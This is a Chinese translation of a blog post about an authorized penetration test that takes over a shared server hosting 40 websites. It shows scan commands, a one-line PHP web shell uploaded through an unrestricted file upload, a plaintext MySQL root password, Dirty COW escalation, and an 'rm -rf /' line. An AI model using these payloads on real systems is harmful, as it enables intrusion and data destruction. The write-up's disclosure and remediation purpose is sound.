點擊上方“CSDN”，選擇“置頂公眾號”

關鍵時刻，第一時間送達！

去年夏天我開始學習信息安全與黑客技術。在過去的一年中，我通過參加各種戰爭游戲、奪旗以及滲透測試模擬，不斷提高我的黑客技術，還學習了很多關于“如何讓計算機偏離其預期行為”的新技術。

長話短說，我的經驗總是局限于模擬環境，而且我認為自己是個有道德的白帽黑客，所以我從未入侵過別人的業務，一次都沒有。

直到現在。本文講述了我入侵一臺托管了40個網站（確切的數字）的服務器的故事，以及在此過程中我的發現。

請注意：本文講述的技術涉及一些計算機科學領域的基本知識。

一位朋友告訴我，他的網站中發現了一個XSS漏洞，他希望我能進一步了解一下。這是個很重要的階段，因為我會要求他授權我對他的web應用程序進行全面的測試，并賦予我訪問托管服務器的全部權限。結果他答應了。

在本文中，假定我朋友的網站地址為：http://example.com。

第一步是收集盡可能多的敵方信息，并注意不要打草驚蛇。

在這個階段，我啟動計時器并開始掃描。

$ nmap --top-ports 1000 -T4 -sC http://example.com
Nmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT ? ? ?STATE ?SERVICE
21/tcp ? ?open ? ftp
22/tcp ? ?open ? ssh
| ssh-hostkey:
| ? {redacted}
80/tcp ? ?open ? http
| http-methods:
|_ ?Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp ? open ? netbios-ssn
443/tcp ? open ? https
| http-methods:
|_ ?Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp ? open ? microsoft-ds
5901/tcp ?open ? vnc-1
| vnc-info:
| ? Protocol version: 3.8
| ? Security types:
|_ ? ?VNC Authentication (2)
8080/tcp ?open ? http-proxy
|_http-title: 400 Bad Request
8081/tcp ?open ? blackice-icecap

掃描大約在2分鐘內完成了。

這臺服務器上有很多開放的端口！通過觀察，我發現FTP（端口21）和SMB（端口139/445）端口是開放的，我猜服務器用這些端口托管文件和共享文件，還發現這是一個web服務器（端口80/443，代理在端口8080/8081）。

如果上述掃描信息不夠，我還會考慮做一次UDP端口掃描，掃描最常用的1000多個端口。現在我可以在無需認證的情況下訪問的唯一端口是80/443。

抓緊時間，我啟動了gobuster，羅列出了Web服務器上所有有趣的文件，同時我將手動挖掘信息。

$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
/admin
/login

原來/admin路徑是一個“管理工具”目錄，通過身份驗證的用戶可以利用這些工具修改web服務器上的內容。它需要身份驗證，但是我既沒有用戶名，也沒有密碼，所以只能找別的方法。（劇透：gobuster沒有發現任何有價值的東西。）

到目前為止，我用了大約3分鐘。然而，一無所獲。

在瀏覽網站的時候，它要求我登錄。這沒關系，我用虛擬電子郵件創建了一個賬戶，然后在幾秒鐘后點擊確認電子郵件并成功登錄。

網站顯示了歡迎信息，并彈出對話框帶我進入個人資料頁面，要求更新我的個人資料圖片。做的很貼心啊。

看來該網站是定制的，所以我決定測試一下無限制上傳文件的漏洞。我在終端上運行了如下命令：

echo "<?php system(\$_GET['cmd']); ?>" > exploit.php

我試著上傳該“圖片”，哈哈！該網站接受了上傳exploit.php。當然這個文件沒有縮略圖，但是這意味著我的文件肯定上傳到服務器的某個地方了。

獲取exploit的位置

這里，我原本以為網站會對上傳文件做一些處理，檢查擴展名，并替換為可接受的文件擴展名，比如.jpeg，.jpg，以避免攻擊者上傳惡意的遠程操控代碼，希望各位看官的網站都做到了。

畢竟大家都很關心安全問題。

是吧？是吧？……沒錯吧？

接下來“復制圖片的路徑”，其實就是復制如下路徑：

http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php

看來我的網頁木馬程序已經做好準備且開始工作了：

我發現web服務器運行的是perl腳本（真的，perl？），于是我從常用的cheatsheet（http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet）中拿了一個perl語言的反向shell，設置好IP /端口，然后我得到一個低特權shell（對不起，沒有截圖）。

在第5分鐘的時候，我已經擁有了低權限的shell。

令我驚訝的是，該服務托管的不止1個網站，總共有40個不同的網站。很遺憾我沒有保存每個細節的截圖，只有如下的輸出結果：

$ ls /var/www
access.log site1/ site2/ site3/ {... 等等}

我想你也看出來了。讓人驚愕的是，我可以讀取所有托管網站，這意味著我可以訪問所有網站的后臺代碼。我原以為我只能訪問example.com的代碼。

值得注意的是，在cgi-admin / pages目錄中，所有的perl腳本都以root身份連接到了mysql數據庫。而數據庫的身份驗證是以明文保存的，就像這樣：root:pwned42。

果然，服務器上運行的是MariaDB，在訪問數據庫之前我不得不借助于這個問題（https://github.com/dockerfile/mariadb/issues/3）。之后我運行了如下命令：

mysql -u root -p -h localhost victimdbname
Password: pwned42

用root權限登錄數據庫后的截圖如下：

“使用數據庫用戶”，我可以訪問35個數據庫并可以查看/修改數據庫內容

僅用了7分鐘，我就擁有了讀寫35（！）個數據庫的全部權限。

到了這里，從道德上講我必須停止此次黑客行動，并揭露迄今為止的發現。這些潛在的危害已經十分驚人了。

攻擊者將如何處置這些數據：

• 轉儲所有數據庫的內容，導致所有35家公司的數據集體曝光。按照這種方式（https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time）。

• 刪除所有的數據庫，一次性刪掉35家公司的所有數據。

• 利用cronjob留后門，方便日后通過apache再次造訪。按照這種方式（http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/）。

我應該注意到，在這里mysql進程是以root身份運行的，所以如果我嘗試運行\！ whoami，也許可以獲得root的身份。不幸的是我仍然是apache。

好了，休息一下，計時結束。

還有什么更大的問題？

在揭露了我的發現后，我獲得了更多權限，可以進行更進一步的挖掘。

在尋找方法可以將我的權限升級到root以制造巨大危害的可能性之前，我一直在研究我受限的用戶還可以查閱些哪些其他有趣的文件。

就在那時，我想起了開放的SMB端口。這意味著某個地方的某個文件夾應該是對系統用戶共享的。經過一番篩查后，下面的目錄出現在了/ home / samba / secured目錄中（請原諒我的批量審查）：

這些目錄保存了托管公司每個用戶的文件。其中包括一些敏感數據，比如：

• .psd / .ai文件（設計師知道私密的重要性，畢竟這是他們的工作和技術）

• Cookie sqlite文件

• 發票

• 盜版電子書（看到這些時我不禁笑了）

• WiFi的SSID和密碼

攻擊者將如何處置這些數據：

• 住在公司外面，登錄到他們的內部網，并進行各種可以在本地網絡上操作的有趣的攻擊；

• 將上面列出的所有敏感數據公開到網絡上。

花些時間瀏覽這些文件夾，你就會認識到這個問題有多嚴重。再休息一下。

最后一擊

通過apache四處尋找了一會兒后，我決定去釣大魚——拿到root用戶。我喜歡利用cheatsheet（https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/），搜尋有趣的文件系統。

到目前為止我的搜尋已經用完了大部分的技術，但是卻似乎無法找到突破點。

就在此時，我突然想到，在以前玩“奪旗”的挑戰中，操作系統通常會做一些改動，故意制造一些錯誤的配置服務，最終為你提供所需的root權限。然而在現實世界中，人們可不會這么做。

我的意思是，看看Equifax。

服務器運行的是哪個Linux？

$ cat /etc/issue
CentOS Linux release 7.2.1511 (Core)

Kernel是什么版本？

這個看似是個舊版的Kernel。

看到此圖你能想起什么？（提示：這個問題非常非常嚴重）

如果沒有，請點擊這里：

https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years

我在這篇博文中找到了我所需要的測試Kernel是否脆弱的腳本：

http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/

然后運行：

游戲結束！

我馬上寫了一封郵件，充分披露了上述每一步的細節以及潛在影響，一晚上的工作結束了，可以松口氣了。

攻擊者可以做什么：

• 讀取/修改服務器上所有的文件；

• 留下一個永久的后門（通過apache）；

• 安裝惡意軟件，并很有可能傳播到服務器的內部網；

• 安裝勒索軟件（以35家公司的數據庫為例，所有托管公司的數據都被視為人質）；

• 使用服務器作為加密貨幣礦工；

• 使用服務器作為代理；

• 將該服務器用作C2C服務器；

• 將服務器用作僵尸網絡的一部分；

• .……（你可以自己想象）；

• rm -rf /（絕對不是在開玩笑）。

第二天，我的朋友（他與運營服務器的公司取得了聯系）告訴我，文件上傳中的bug已得到修復。

總結一下我們的發現：

• Web應用程序存在無限制文件上傳的漏洞，這將賦予攻擊者低權限的shell；

• MySQL數據庫的身份認證漏洞，這將賦予攻擊者讀寫35個數據庫；

• 許多可讀的敏感文件。

最后，攻擊者可以濫用未打補丁的內核來獲取root訪問權限。

改良措施

首先文件上傳的bug給了我們下手的機會。由于整個Web應用程序的后端都是用perl編寫的（而我不會perl），所以我無法真正提出修復方案。

但是我可以建議一點：不要是使用2017版的perl，但這只是我的看法，大家可以隨時證明我錯了。

關于文件系統，我建議參考最小權限原則，謹慎地為用戶分配恰當的文件權限。這樣一來，即使像apache這樣低特權用戶可以訪問，他們也無法讀取任何敏感文件。

在同一臺服務器上運行所有網站不是明智之舉，我不確定docker化的方案是否可以解決這個問題。

所有數據庫擁有相同的身份認證肯定是個很糟的主意。

單點故障通常不好。

最后，打補丁！實際上只需運行一個命令：su -c'yum update'（特定于CentOS）。

原文：https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824

譯者：彎月，編輯：言則

————— 推薦閱讀 —————

點擊圖片即可閱讀

總結

以上是生活随笔為你收集整理的如何在 7 分钟内黑掉 40 家网站？的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。